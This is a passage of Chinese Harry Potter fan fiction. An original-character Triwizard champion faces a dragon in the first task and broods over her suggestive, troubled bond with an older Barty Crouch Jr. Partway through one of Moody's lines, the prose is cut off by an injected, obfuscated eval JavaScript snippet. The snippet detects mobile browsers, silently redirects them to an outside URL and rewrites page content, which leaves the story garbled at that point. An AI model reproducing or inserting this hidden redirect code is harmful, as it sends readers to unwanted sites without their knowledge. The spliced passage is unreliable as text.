“我们必须遵守章程,”他生硬的说,“章程里明确规定,凡是名字从火焰杯里喷出来的人,都必须参加争霸赛的竞争。” “巴蒂把章程背得滚瓜烂熟。”巴格曼脸上绽开笑容,他似乎认为,事情已经圆满解决了。 卡卡洛夫很不满意,穆迪突然怒气冲冲的走了进来,两人开始言辞激烈的吵架,莉安百无聊赖的玩了玩手指,直到邓布利多一锤定音。 “这个局面是怎么出现的,我不知道,”邓布利多对房间里的所有人说,“但这是火焰杯的规定,莉安和哈利都被选中,所以他们没有任何选择,必须参加比赛。” “好了,我们继续吧?”巴格曼搓了搓双手,笑眯眯的望着房间里的人,“要给我们的勇士作指导了,是不是?巴蒂,由你来讲吧?” 老巴蒂·克劳奇似乎突然从沉思中醒过神来。 “好的,”他说,“指导,是的…第一个项目…” 他上前几步,走进炉火的光圈,莉安仔细的观察,发现他十分憔悴,眼睛下面有两道很深的阴影,布满皱纹的皮肤像纸一样白得透明。 他在世界杯赛时可不是这副模样,莉安略一思索,便明白了:他在抵抗小巴蒂的夺魂咒! 她就是这样抵抗穆迪的夺魂咒的! “第一个项目是为了考验你们的胆量,”他说,“所以我们不准备告诉你们它是什么,敢于面对未知事物是巫师的一个重要素质…第一个项目将于11月24日进行,当着其他同学和裁判团的面完成。” “在完成比赛项目时,勇士不得请求或接受其老师的任何帮助,勇士面对挑战时,手里惟一的武器就是魔杖,等第一个项目结束后,你们才会了解到关于第二个项目的情况,由于比赛要求很高,持续时间很长,勇士们就不参加学年考试了。” 莉安:???我tm是N.E.W.Ts!你告诉我不用参加了?我拿头做傲罗?你黑箱操作帮我保送吗? 她立刻大声抗议,“不行!我必须拿到证书!” 穆迪立刻安抚她,“是的,你一定会拿到证书的,但是这个比赛能给你带来很多优势,如果表现的足够亮眼,也许可以免试成为傲罗…” 莉安这才满意了,邓布利多见他们如此亲密,蓝眼睛不动声色的划过一抹光芒。 “就这么多,阿不思。”老巴蒂·克劳奇说。 “是的,”邓布利多关切的望着他,“你今晚真的不想留在霍格沃茨吗,巴蒂?” “我必须回部里去,”老巴蒂·克劳奇说,“目前正是非常忙碌、非常困难的时候…我让年轻的韦瑟比临时负责…他热情很高…说句实话,高得有点过了头…” 莉安差点笑出声,老巴蒂·克劳奇还是没记住珀西的名字,哪怕中了夺魂咒还叫他韦瑟比。 马克西姆夫人用手臂搂着芙蓉的肩膀,迅速走出了房间,莉安可以听见她俩飞快的用法语骂邓布利多是奸诈的老蜜蜂,而卡卡洛夫对克鲁姆打了个招呼,他们也一言不发的离去了。 “哈利、莉安,我建议你们回去睡觉,”邓布利多笑眯眯的看着他们俩,“我相信,格兰芬多的同学都在等着和你们一起庆祝呢,他们好不容易有个借口大吵大闹一番,要夺走他们的这个机会就太不应该了。” 哈利看了莉安一眼,她点了点头,两人一起走出了房间。 礼堂里现在空荡荡的,蜡烛的火苗已经很低,这使南瓜灯豁牙咧嘴的笑容显得闪烁不定,诡谲怪异。 “我没有,”走上大理石阶梯时,哈利说,“我没有把名字投进火焰杯,我说的是实话。” “这不重要,”莉安没什么表情,语气一如既往的冷淡,“记得好好准备,这是我们格兰芬多的荣誉。” 两人都沉默了,他们来到胖夫人面前,胖夫人怀着极大的兴趣低头打量着哈利。 “好啊,好啊,好啊,”胖夫人说,“他们刚才把一切都告诉我了,你们谁刚被选为学校的勇士啊?” 霍格沃茨的画像经常互相串门,消息灵通,勇士那个房间里就有不少肖像画。 “胡言乱语。”哈利干巴巴的说。 胖夫人的画像向前旋开,他们准备爬进休息室时,阵阵喧哗声突然灌进他们的耳朵,接着,大约十几双手把他们两个拽进了休息室,格兰芬多的全体同学都在尖叫、欢呼、吹口哨。 “你应该告诉我们你报了名!”乔治大声吼道,他看上去半是恼怒,半是激动。 “你怎么能不长胡子就顺利过关了?太棒了!”弗雷德嚷嚷道。 “我没有,”哈利说,“我不知道怎么——” “我们准备了吃的东西,快过来吃点儿——” “我不饿,我在宴会上吃得够多了——” 趁着其他人都想知道哈利是怎么骗过邓布利多的年龄线,把他的名字投进火焰杯时,莉安立刻溜回了宿舍里,把哈利撇在原地。 她换好睡裙,钻进被子里,把帐幔拉过来遮住四柱床,望着深红色的帐幔发呆。 既然他没死,那他会在哪里呢?为什么不回家呢? 她闭上眼睛,脑海中的小巴蒂来势汹汹,一门心思坚持不懈的啃噬着她身体的每一个部位,没有任何的含糊、疑虑混沌,他似乎是从睡梦中的某个地方出现的,从一个梦里肆无忌惮的闯进下一个梦里,不知道在哪天的晨光中才会真的躺在她身边。 那一个星期的每个夜晚,他总是希望她不穿衣服,她的大腿缠绕着他的大腿,她的眼睛注视着他的眼睛。 但他却没能拥有,就像眼睁睁看着生命从体内流失。 10. 斗龙 周五下午这天,穆迪正在教七年级提高班的学生铁甲咒时,一个格兰芬多的同学突然敲响了门,他走进教室,朝讲台前的穆迪走去。 “什么事?”穆迪那只魔眼打量着他。 “对不起,穆迪教授,我要带莉安·普威特到楼下去,巴格曼先生要她去照相,所有的勇士都要去。” 穆迪点了点头,“去吧,孩子。” 莉安连忙起身,先是低声对他道了句抱歉,然后才把书包背好,朝门口走去。 “你知道为什么要拍照吗?”她边下楼梯边问男同学。 “巴格曼先生说要登在《预言家日报》上!”对方崇拜的看着她。 莉安想到小巴蒂经常关注外界的信息,也许会在《预言家日报》上看到自己的照片,不由自主的露出一个微笑。 但她很快又板着脸,笑容消失的无影无踪。 反正他也不会回来,就算在报纸上看到她了又能怎么样呢? 她应该放弃那些愚蠢的想法,毕竟她跟他压根不是一路人,也许他已经和那些臭名昭著的食死徒同伴们重聚了,再也不会再回来了。 就算回来,她也不会再接受他!她会立刻把他赶走! “祝你好运。”那个男同学说,这时他们已经来到那个房间外。 莉安敲了敲门,走了进去。 这是一间较小的教室,大多数课桌都被推到了教室后面,留出中间一大块空地,不过有三张课桌互相对接着,摆在黑板前面,上面盖着一块长长的天鹅绒。 在天鹅绒覆盖的课桌后面,放着五把椅子,其中一把椅子上坐着巴格曼,他正在跟一个穿着洋红色长袍的女巫交谈,克鲁姆跟往常一样阴沉着脸,站在一个角落里,不跟任何人说话,芙蓉看到她,松了口气,不停的甩一甩脑袋,那头银色的长发闪动着夺目的光泽。 在他们后面,一个大腹便便的男人手里举着一架微微冒烟的黑色大照相机,正用眼角注视着芙蓉。 没一会儿,哈利也来了,巴格曼迅速站起来,身子往前一跳。 “啊,他来了!第四位勇士!进来吧,哈利,进来吧…没什么可担心的,就是检测魔杖的仪式,其他裁判员很快就到——” “检测魔杖?”哈利问。 “我们必须检查你们的魔杖是否功能齐全,性能完好,因为在以后的比赛项目中,魔杖是你们最重要的器械,”巴格曼说,“专家在楼上,和邓布利多在一起,然后是照几张相片。” “这位是丽塔·斯基特,”他指了指那位穿洋红色长袍的女巫,“她正在为《预言家日报》写一篇关于争霸赛的小文章…” “也许并不是小文章,卢多。”丽塔·斯基特的眼睛盯着哈利。 她的头发被弄成精致、僵硬、怪里怪气的大卷儿,和她那张大下巴的脸配在一起,看上去特别别扭,她还戴着一副镶着珠宝的眼镜,粗肥的手指抓着鳄鱼皮手袋,指甲有两寸来长,涂得红通通的。 “在我们开始前,我能不能跟哈利谈几句话?”她问巴格曼,但眼睛牢牢的盯着哈利,“年纪最小的勇士,你知道…为了给文章增加点儿色彩。” “没问题!”巴格曼大声说,“就是不知哈利是否反对?” “嗯。”哈利说。 “太好了。”丽塔·斯基特抓着哈利的手臂,把他拽出了房间。 没一会儿,对角巷的魔杖大师加里克·奥利凡德走进了房间,巴格曼指挥他们坐在门边的椅子上,正对铺着天鹅绒的桌子,那里已经坐着五位裁判中的四位——卡卡洛夫、马克西姆夫人、老巴蒂·克劳奇和巴格曼。 芙蓉不满的撇着嘴,等得都快不耐烦了,邓布利多终于走进了房间,哈利一副惊魂未定的模样,像看到救星一般坐到了莉安旁边。 “请允许我介绍一下奥利凡德先生,”他在裁判席上坐下,对几位勇士说,“他将要检查你们的魔杖,确保魔杖在比赛前状态良好。” 莉安望了望奥利凡德先生,两只银色大眼睛的老巫师正静悄悄的站在窗边,听到邓布利多的话,他走到了房间中央的空地上。 “德拉库尔小姐,你先来,好吗?”奥利凡德先生说。 芙蓉轻盈的走向奥利凡德先生,把自己的魔杖递给了他。 他像摆弄指挥棒一样,让魔杖在修长的手指间旋转着,魔杖喷出许多粉红色和金色的火花,然后他又把魔杖贴近眼前,仔细端详着。 “不错,”他轻声说,“九英寸半…弹性很好…槭木制成…里面含有…噢,天哪…” “含有一根媚娃的头发,”芙蓉说,“是我奶奶的头发。” “没错,”奥利凡德先生说,“没错,当然啦,我本人从未用过媚娃的头发,我觉得用媚娃头发做的魔杖太敏感任性了…不过,各人都有自己的爱好,既然它对你合适…” 奥利凡德先生的手指捋过魔杖,检查上面有没有擦痕和碰伤,然后,他低声念道,“Avis! ” 魔杖发出砰的一声巨响,像手枪开火一般,一群小鸟扑扇着翅膀从魔杖头上飞出来,从敞开的窗口飞进了淡淡的阳光中。 “很好,很好,状态不错,”奥利凡德先生说,把魔杖递给芙蓉,“普威特小姐,轮到你了。” “啊,这是一位法国大师的作品,是不是?”莉安把魔杖递过去时,奥利凡德先生比刚才兴奋多了,“没错,十二英寸…白桦木制成…弹性优良,状态极佳…但是杖芯…” “怀特河怪背脊刺,”莉安说,“这是我母亲的魔杖。” “但是这种杖芯来自北美,据说美国的魔杖大师蒂亚戈·奎塔纳去世后,这种神秘的杖芯便失传了,”奥利凡德先生饶有兴趣的打量着,魔杖头上冒出几颗金星,“Orchideous! ” 一束盛开的兰花绽放在魔杖头上,奥利凡德先生把鲜花收拢,和魔杖一起递给莉安,“克鲁姆先生,该你了。” 克鲁姆站起身来,聋拉着肩膀,迈着外八字的脚,无精打采的朝奥利凡德先生走去,他把魔杖塞了过去,皱着眉头站在那里,双手插在长袍的口袋里。 “嗯,”奥利凡德先生说,“如果我没有弄错的话,这是格里戈维奇的产品,他是一位出色的魔杖匠人,尽管他的风格我并不…不过…” 他举起魔杖,在眼前翻过来倒过去,仔仔细细的检查着。 “鹅耳栎木,龙心弦,对吗?”他扫了克鲁姆一眼,克鲁姆点了点头,“比人们通常见到的粗得多…非常刚硬…十又四分之一英寸…” 鹅耳栎木魔杖头上喷出一串银白色的烟圈,烟圈从房间这头飘到那头,他表示很满意。 “很好,”奥利凡德先生说,把魔杖递还给克鲁姆,“还有最后一位…波特先生。” 奥利凡德先生检查哈利魔杖的时间比检查其他人的长得多,因为哈利的魔杖才是他的作品,最后,他让魔杖头上喷出一股葡萄酒,然后把魔杖递还给哈利,宣布它的状态非常良好。 “谢谢大家,”邓布利多在裁判桌旁站了起来,“现在你们可以回去上课了,也许直接下去吃饭更方便一些,反正他们很快就要下课了。” 就在他们想要离开时,那个拿着黑色照相机的男人突然清了清嗓子。 “照相,邓布利多,照相!”巴格曼兴奋的喊,“裁判和勇士来一个合影!” 照相花了很长时间,马克西姆夫人无论站在什么位置,都把别人挡住了,而且房间太小,摄影师无法站得很远,把她收进镜头,最后她只好坐下来,其他人都站在她周围。 克鲁姆躲躲闪闪的藏在莉安后面,而摄影师特别积极的想让芙蓉站在前面,可是丽塔·斯基特把哈利拉到更突出的位置,然后,她又坚持要给勇士们一个个的拍单人照,过了好长时间莉安才终于脱身出来。 在礼堂用晚餐时,双子刚坐到她身边,一只灰色的老猫头鹰从窗户颤抖着飞了进来,它一头栽倒在桌子上,差点落进烤牛肉的盘子里,不动了,它的腿上还拴着一封信。 莉安马上就认出了这只失去知觉的猫头鹰——埃罗尔,她立刻解开埃罗尔腿上的带子,拿下那个信封,然后把埃罗尔放到腿上,拿了一些点心和水喂它。 埃罗尔睁开一只朦胧的眼睛,发出一声表示感谢的声音,然后喝了几口水。 她忧心忡忡的打开这封来自比尔的信,但比尔温柔语句安抚了她最近一直焦躁的情绪,他在信里祝贺她成为勇士,并侧面劝了一句,哈利还是个小孩子,不要生他的气,因为韦斯莱一家一致认为是有人在陷害哈利,莫丽已经心慌意乱了。 莉安笑了笑,她的确没有责怪哈利,毕竟罗恩和她说过,每年期末他们几乎都是死里逃生过来的,她认为哈利应该不会自己作死,毕竟三强争霸赛举办以来,一多半的参赛者都因为意外受伤死掉了,所以今年魔法部才会提出年龄限制。 比尔对她试图分手这件事只字未提,他总是这么体贴,每次他们有分歧时,他都会留给她许多思考时间,这让她愈发愧疚了。 “是比尔的信吧。”弗雷德对她挤眉弄眼。 “肯定是,不然除了疯眼汉,还有谁会让莉安笑得这么荡漾。”乔治拖腔拖调的说。 双子怪声怪气的大笑起来,夹杂着几句调侃,莉安的脸红了,尽力平静的瞪了他们一眼,但她也忍不住笑了。 一直观察格兰芬多长桌的穆迪不易察觉的皱了皱眉,他的魔眼紧紧的盯着莉安,并放大了她手里那张羊皮纸,当然也看清了那封信来自比尔·韦斯莱——那个她喜欢的红毛。 他的神情几经变幻,最后又变回了穆迪严肃的表情。 今晚莉安到黑魔法防御术办公室时,却见门上贴着一张纸条: 有事外出。 莉安嘟囔了一句,毕竟穆迪这还是第一次不告而别,明明晚饭时他还在礼堂吃炖菜的。 她眼尖的发现穆迪很喜欢烤香肠和兰开夏火锅(英国砂锅炖菜,非中国菜),从而让她想起小巴蒂在家里的时候,非常喜欢指挥闪闪给他做各种口味的烤香肠和各式各样的炖菜,他尤其钟爱兰开夏火锅和利物浦炖菜,不知道为何,有时候她看到穆迪,就会想到小巴蒂教导她抵御黑魔法——那是他难得一本正经的时刻。 想到这里,她又想到某天晚上,她再也受不了他对自己的搓磨,把门锁上了,他用开锁咒也无法打开门,于是他用自己的身体撞击着她的房门,用一种即将犯下的罪行的果决凶狠想把门打开。 在这罪行中,他既是重罪犯又是受害者—— “开门,开门,否则我就把门撞开!”他委屈的高声叫喊。 她被吵得睡不着,只好打开了门。 “给我,给我,给我。”他迅速跳到床上,像摆弄一只玩偶那样继续揉搓她的身体。 对此她没有作答,她不想犯错,更不想被他伤害,就像她伤害他那样。 他一定会狠狠的伤害她,因为这就像两条拴在码头上的船一样,就像在阿兹卡班的牢房里等了十几年,他是个十恶不赦的坏人,他想让她屈服,自从他吻了她,她就一直渴望着,想让他用那天晚上吻她的嘴唇收回那句话,她不想为他开着灯,不想被他侵占房间里的每一寸空气,因为在这个家是他的之前,首先是她的。 两个多月过去了,他依然杳无音信,她知道没有必要再问闪闪了,甚至没有必要等他回来,他不会回来,因为他知道她不会等他,她也不会再写信,因为她知道他不会回来。 第二天早上,莉安突然发现自己开始喜欢下雨天了,尤其是今天早上下着小雨的天气,天有一点点灰,但不会一直低低的压在城堡上空,这样的日子让她感到快乐,也许是因为它们比她阴郁,相比之下让她看起来快乐一些,这是散步的好天气。 今天的确有点不同寻常,正当莉安往面包片上涂抹大量的果酱时,头顶上响起一阵突如其来的嗖嗖声,这声音说明猫头鹰们送信来了,莉安没有在意,但留守在家里的那只猫头鹰突然出现了,它扑棱棱的落到她的肩膀上,收起双翅,疲倦的伸出一条腿。 莉安抽出信封,把她那份熏咸肉的递到猫头鹰嘴里,它感激的吃着,她举起信封望了望,发现是闪闪送来的,她马上左右瞄了瞄,确信弗雷德和乔治又在埋头商量最近新研发的恶搞饼干,便小心翼翼的拆开了信。 莉安: 我在一个很隐蔽的地方,因为某些事情不能回家,但现在可以通信了,我希望你把你在霍格沃茨发生的每件事都写信告诉我,我会每天都给你写信。 别为我担忧,等你毕业时我就会回来了。 爱你的叔叔。 每天写信?莉安的嘴角噙着一抹冷笑,他又在跟自己玩欲擒故纵的游戏了是吗?在她每次下定决心不再想他的时候,他总会凭直觉发现她的若即若离和纠结,然后漫不经心的给她吃一颗定心丸,就像敷衍一个不懂事的孩子那样潦草轻率,作为一个逃犯,他有什么好神出鬼没的?难道还会有人闯进她的家里,闯进安全的普威特祖宅把他抓走吗? 她用力把那张羊皮纸揉成团,塞进书包里。 她不会回信的,也不会再看他的信,这只是让她重返小巴蒂的世界的诡计而已,她要把他从自己的世界中抽离,完完全全的抽离。 风尘仆仆的穆迪一直等待她的反应,魔眼紧紧的盯着她,但他完全没想到她的举动出乎他的意料之外——她没有兴高采烈的马上拿出羽毛笔给他回信,迫不及待的放飞猫头鹰,而是生气的把信纸揉成团,脸上带着冷漠的表情。 他确信她不会回信了。 那个红毛就那么重要吗?只是一封信,连人都没见到,她就神魂颠倒了?把他抛在脑后了? 昨晚他回到了普威特祖宅,重温他们的夜晚,给她写信,并交代闪闪每天猫头鹰都会送信回祖宅,一定要把他的信再送到霍格沃茨,他不知道为什么要这么做,就像他不知道为什么那几个晚上他总想和她待在一起那样。 但现在的一切似乎都笼罩在一片诡异的雾中,她的冷漠让那些个夜晚的他支离破碎,今天他以为自己会完好无损,事情一定正在变好,他一定已经开始恢复,开始克服最困难的部分,但人心是多么善变。 他想责备她对自己的满不在乎,他就像被一种压倒性的恐慌猛推了一把,这恐惧提醒他,这些日子她表现出来的焦灼不安、她的眼泪,让他以为已经愈合的伤口其实并没有好转,她的表现麻痹了他,让他觉得伤口没有那么痛。 原来之前刀子还没有完全插进去,一切还没有开始变得不可收拾,但现在,她已经变得无动于衷,打算把他从她的生活中完全剔除,就像甩掉一包垃圾那样急不可耐。 他对她不好吗?他甚至教她对付自己,教她成为傲罗,笑着忍受她对自己的羞辱谩骂,忍受她称呼自己是罪犯、老男人,甚至忍受她用冷冰冰的态度无数次拒绝他想和她亲近的念头,也没舍得伤害她分毫。 她的心到底是怎么长得啊?它怎么能这么硬,难道是龙皮做的吗? 在接下来的几个星期里,莉安再没有看过小巴蒂的信,每天拿到信的那一刻,她就会随便找个壁炉把它扔进去——休息室的壁炉或者穆迪办公室的壁炉,总之她再也不想听到、看到他的任何消息,她的生活终于重新回到了原来的轨迹,这是黑暗无比的地平线上的惟一亮点。 随着时间的推移,第一个项目逼近了,莉安的内心有些紧张焦虑,她认为这种情绪甚至影响到了穆迪,他变得心不在焉,甚至整天都阴沉沉的。 “今晚十二点,你来我办公室。”穆迪沉声说。 “这么晚吗?”莉安虽然有些诧异,但她还是点点头,从口袋里掏出一封信,扔进了炉火里。 穆迪看着她的动作,一阵胸闷气短,他终于憋不住了,粗声粗气的说,“最近你的猫头鹰总是在礼堂飞来飞去,但是这些信都被你烧了,我看它们并没有被打开过,对吗?” “是的,我不想看,”莉安坚决的说,“谢谢您的忠告,我已经知道了我想要的东西是什么,我在解决杂念。” 穆迪努力克制自己不要露出狰狞的表情,喃喃的说,“杂念么…孩子,你有时候又果决的令人恐惧。” “我必须这么做。” “今天中午我约了海格去三把扫帚酒吧,那些东西快到了,”穆迪握紧的拳慢慢松开了,他生硬的转移了话题,“第一个项目很快就要开始,我需要给你一些信心,晚上不要迟到。” 莉安点点头,等穆迪举起魔杖,她也摆开决斗的架势,投入对抗黑魔法的训练中。 十一点三刻时,莉安偷偷溜出休息室,穆迪已经在办公室等着了,她还没来得及说话,一件隐形衣已经落在了她身上。 “尽量不要出声。”穆迪给自己用了幻身咒,一瘸一拐的带着她出了城堡,场地上一片漆黑。 他们顺着草坪朝禁林的方向走去,布斯巴顿那辆巨大马车灯火通明,他们匆匆往前走,绕着禁林边缘走了很远,城堡和湖泊都看不见了。 突然,莉安听见了什么动静,有几个男人在前面大声喊叫,然后是一声震耳欲聋的尖厉的咆哮。 穆迪带着她绕过一片树丛,停下了脚步,一瞬间,莉安还以为自己看见了几堆篝火,男人们围着火跳来跳去——像是某种神秘的麻瓜宗教活动,但她很快就震惊的说不出话来。 火龙。 四条模样十分凶狠的成年火龙被关在厚木板围成的场地里,用后腿支撑身子站立着,发出阵阵吼叫,呼哧呼哧的喷着鼻息——一团团火焰从它们张开的、长着獠牙的嘴里喷出,射向黑暗的夜空,它们的脖子高高昂起,嘴离地面至少五十英尺。 一条正对着场地上的巫师发怒、咆哮,一条正在拼命的扭动、跺脚,还有一条正在朝空中喷射一朵朵蘑菇状的火云,最后一条比另外几条更恐怖,模样十分凶狠。 场地上至少有三十个驯龙人,每七八个负责对付一条火龙,他们拽着链条,拼命想制服四条巨龙,那些链条连接着拴住龙腿和龙脖子的大粗皮带,火龙发出一种可怕的声音,是凄厉而刺耳的哀号。 “待在那里别动,海格!”靠近栅栏的一位巫师喊道,他紧紧拽住手里的链条,“它们喷火能喷出二十英尺远,你知道的!我看见这条树蜂喷过四十英尺!” 莉安这才发现两个大块头——海格和马克西姆夫人正在场地的另一头看着火龙。 另一位巫师大声嚷道,“念昏迷咒,数到三,一起念!” 每位驯龙人都抽出了自己的魔杖。 “Stupefy! ”他们异口同声的喊道,昏迷咒如火箭一般射向漆黑的夜空,迸出的火星像阵雨一样落在四条龙长着鳞片的厚皮上。 不多时,驯龙者放下魔杖,走向倒在地上的巨龙,他们匆匆的拴紧链条,把它们牢牢的系在铁柱上,又用魔杖把铁柱深深的钉在地里。 刚才警告海格不要靠近的那位巫师转过身来,莉安打量了片刻,发现是查理。 “我没想到你把她也带来了,海格,”查理皱起了眉头,“勇士是不应该知道自己要面对什么的——她肯定会告诉她的学生的,是不是?” “我只是觉得她很愿意过来见识见识。”海格耸了耸肩膀。 “我们走吧,”穆迪拍了拍莉安的肩膀,轻声的说,“我看到了波特,他也披着着隐形衣——魔眼可以看穿这玩意儿。” 回到办公室后,莉安还有些惊魂未定,她的脸色惨白,直到穆迪把一杯热茶放在她的手里才终于回过神来。 “一共四条火龙,难道我们每个勇士都必须对付一条吗?与火龙搏斗?” “不可能是搏斗,大概只是从火龙身边通过,”穆迪思索了片刻,说道,“不过有驯龙人在一旁巡逻,准备随时援救,倒也不用担心人身安全,但那都是抱窝孵蛋的母龙,很难对付。” “我知道有一个咒语或许可以对付火龙,可是这样偷看…” “作弊向来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727476|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三强争霸赛的传统组成部分,”穆迪解开了自己的斗篷,在壁炉边举起了双手烤火,“邓布利多想发扬高尚的风格,但我敢说卡卡洛夫和马克西姆绝没有这样超脱,他们会尽可能把一切都告诉他们的勇士,他们想赢,他们想打败邓布利多,他们希望证明他只是一个凡人。” 莉安又走神了,她觉得这个烤火的动作非常像小巴蒂,太像了…她第一次见到他,他就是这样闯进了她的房子,漫不经心的脱掉了食死徒的长袍,在壁炉边烤火。 她一定是疯了,看什么都有小巴蒂的影子,什么都像他,他一直挥之不去,在她的脑海里,在她的心里,甚至在她见到的每一面镜子里,走廊每一扇窗户的玻璃上,甚至在刀叉模模糊糊的反光中,他无处不在,她悲哀的想,她彻底无可救药了,她已经丧心病狂到看穆迪这个老傲罗都能想到他了。 能给自己施个遗忘咒吗?她觉得这样她可能会好受一点,她不想自己永远只是荒原上一团燃烧的烈火,无休止的、无意义的耗尽生命力。 “孩子?”穆迪烤完火,转过身来,又发现她在走神——这些日子,她思考的时间变多了。 “早点回去吧,这几天好好休息,我很期待周二你的比赛,”他说,“顺便说一句,你该好好考虑一下,你最近的反常是因为什么,还是杂念么?” 莉安一声不吭的离开了办公室。 1994年11月24日,第一场比赛。 周二这天,中午就停课了,学校的气氛非常紧张和兴奋,教授们让所有的学生都去比赛的场地上——他们并不知道那里有四条火龙在等待他们。 麦格教授朝着格兰芬多长桌匆匆走来,许多人都望着她。 “波特,普威特,现在勇士们都要到下面的场地上去,”麦格教授严肃的说,“你们必须做好准备,完成第一个项目。” “好吧。”哈利的叉子掉进了盘里,他看起来十分紧张,莉安仍然没什么表情。 这是一个十一月寒冷的下午,他们和麦格教授一起离开了礼堂,麦格教授看上去十分心慌意乱,他们来到场地时,麦格教授把手放在了哈利的肩上。 “好了,不要紧张,”她说,“保持头脑冷静,我们安排了一些巫师在旁边,如果情况不妙,他会上前控制局势的,最重要的是充分发挥你自己的能力,你没事吧?” “没事,”哈利说,“没事,我很好。” 麦格教授转向莉安,神情放松多了,“我相信你一定跟着穆迪教授学了不少东西,但我仍然要叮嘱你,注意安全。” “谢谢,”莉安平静的说,“我会的。” 麦格教授领着他们绕过禁林边缘,朝火龙所在的地方走去,场地对面那片树丛里竖起了一个帐篷,挡住了火龙,帐篷的入口正对着他们。 “你们必须一起进去,”麦格教授说,她的声音有些颤抖,“等着轮到你们的时候,巴格曼先生会把步骤告诉你们,祝你们好运。” “谢谢。”二人点头,麦格教授把他们领到帐篷入口处,他们走了进去。 芙蓉坐在角落里一张木凳子上,她一点儿不像平时那样镇定自若,脸色显得非常苍白,一副病怏怏的样子,克鲁姆看上去更加阴沉了。 “哈利!太好了!你来了!”巴格曼扭过头来,愉快的说,“还有普威特小姐,进来,放松点儿,跟在自己家里一样!” “好了,现在大家都到齐,该向你们介绍一下情况了!”他兴高采烈的说,“观众聚齐以后,我要把这只布袋轮流递到你们面前。” 他举起一只紫色的绸布袋,“你们将从里面挑出各自将要面对的那个东西的小模型!它们有不同的种类,你们的任务是拾取金蛋。” 他们点点头,都没有丝毫反应,毕竟早就知道要面对的是什么了,转眼间,成百上千双脚走过帐篷,脚的主人都在兴奋的交谈说笑,而巴格曼已经在解开紫色绸布袋了。 “女士优先。”他说,把袋子递到芙蓉面前。 芙蓉把一只颤抖的手伸进布袋,掏出一只小巧的惟妙惟肖的龙的模型——威尔士绿龙,脖子上系着一个号码:二号。 莉安把手伸进口袋,掏出来一条银蓝色的小龙——瑞典短鼻龙,它正对着她喷火,脖子上系的号码是一号。 克鲁姆掏出了一条鲜红色的中国火球龙,脖子上系的号码是三号,他连眼睛都没有眨一下,就一屁股坐下来,眼睛盯着地面。 哈利掏出了最后一条匈牙利树蜂龙——魔法界最凶猛的火龙,是第四号,那小龙展开翅膀,露出小小的獠牙。 “好了,你们都拿到了!”巴格曼说,“你们都抽到了自己将要面对的火龙,它脖子上的号码是你们去与火龙周旋的顺序,好了,我现在要暂时离开你们一下,因为我要给观众作解说,普威特小姐,你是第一个,你一听见哨声就走进那片场地,知道了吗?” 莉安瞥了他一眼,没有说话。 没一会,什么地方响起了哨声。 她穿过帐篷的入口走到外面,从树丛旁走过,再穿过场地栅栏上的一道豁口。 成百上千张面孔从上面的看台上望着她,在场地的另一端,赫然耸立着那条瑞士短鼻龙,它低低的蹲伏着,守着它的那一窝蛋,翅膀收拢了一半,恶狠狠的蓝眼睛死死盯着莉安。 这是一条无比庞大,外表为银蓝色,有一对长长尖角的类蜥蜴爬行动物,正对着场地上的莉安跺脚、咆哮,它的鼻孔喷出的耀眼的蓝色火焰,观众席里发出鼎沸的喧器声。 莉安拔出魔杖,给自己用了幻身咒,小心翼翼的接近了那条火龙。 巴格曼的解说缓解了有些紧张的气氛,他大惊小怪的说,“哎呦,普威特小姐消失了——幻身咒对吧?她跟环境融为一体了,很大胆…很聪明…这可不是一个学生能接触到的咒语,不愧是穆迪的爱徒…” 她望了望那一窝蛋,辨认出了那只金蛋,它在那些安安稳稳躺在火龙前腿中间的石灰色的蛋中闪闪发亮。 “Coniugo! ”眼疾咒迅速击中了火龙的眼睛,它凄厉的惨叫,一团团蓝色的烈火喷了出来,附近的树木瞬间被烧成灰烬,莉安跳来跳去的躲避火焰,还在慢慢接近火龙。 此时人群就像一个长着许多脑袋的统一体,在尖叫,在高喊,在倒吸冷气。 “很聪明的办法!非常出色的咒语!”巴格曼激动的说。 火龙本来不想挪窝,它太注意保护它的蛋了,但它现在疼得不停盘绕、扭动,把翅膀展开又收拢,收拢又展开,尾巴连续甩打起来,转着脑袋向四周不停喷火。 莉安躲过它的火焰,火龙的尾巴又冲她抽来,但她顾不上那尾巴了,因为火龙竖起身子,银蓝色的、粗糙的巨大翅膀完全展开了,像一架小型飞机那么宽,她飞快的冲向那一窝蛋,现在不再有那对带利爪的前腿保护着它们了,她把魔杖叼在嘴里,腾出双手——抱住金蛋。 火龙仍然在四处喷火,它什么也看不见,两只蓝色的眼睛已经紧紧的闭上了——眼疾咒可以让火龙眼睛内的结缔组织粘连在一起。 火龙在凶猛的怒吼,不停的转动它的头,漫无目的蓝色火焰冲着四面八方喷薄而出,有一团火焰差点烧到了莉安的袍子,她加快速度逃离了火焰范围,奔向来时的场地入口。 观众席里发出的声音,人们都在呐喊尖叫,鼓掌喝彩,声音震耳欲聋。 “我的天呐,她成功了!”巴格曼在高声大喊,“第一位勇士拿到了金蛋!” 驯龙者纷纷冲过去,平息火龙的怒火。 在场地的入口处那边,麦格教授和穆迪教授匆匆走过来迎接她,他们朝她招手,人群的喧哗声敲击着她的耳膜,她听不到他们在说什么,但即使隔着这么远的距离,他们脸上的笑容也清晰可见。 “真是太惊险了,普威特!”麦格教授喊道,她的手都在微微颤抖,“你没有受伤吧?” “没有,教授。”莉安硬邦邦的说,她还是有些喘不过气来。 穆迪非常高兴,他那只带魔法的眼睛在眼窝里跳个不停,毫不掩饰自己的偏爱。 “你那一招干脆利落,干得漂亮,莉安。”他粗声粗气的说。 莉安面对他时,脸上的表情柔和许多,她点点头,走出场地,朝帐篷走去,此时哨声再一次响起,芙蓉从里面走了出来,她脸色比刚才更苍白了。 莉安走进帐篷,哈利和克鲁姆面对面坐在帐篷的两边,互相躲避着对方的目光,她找了张椅子坐下来,听着裁判的打分,不多时,克鲁姆和哈利先后离开了帐篷,她一个人在这里等待另外三位勇士归来。 外面的动静很大,帐篷里时不时就会听到外面震耳欲聋的声响。 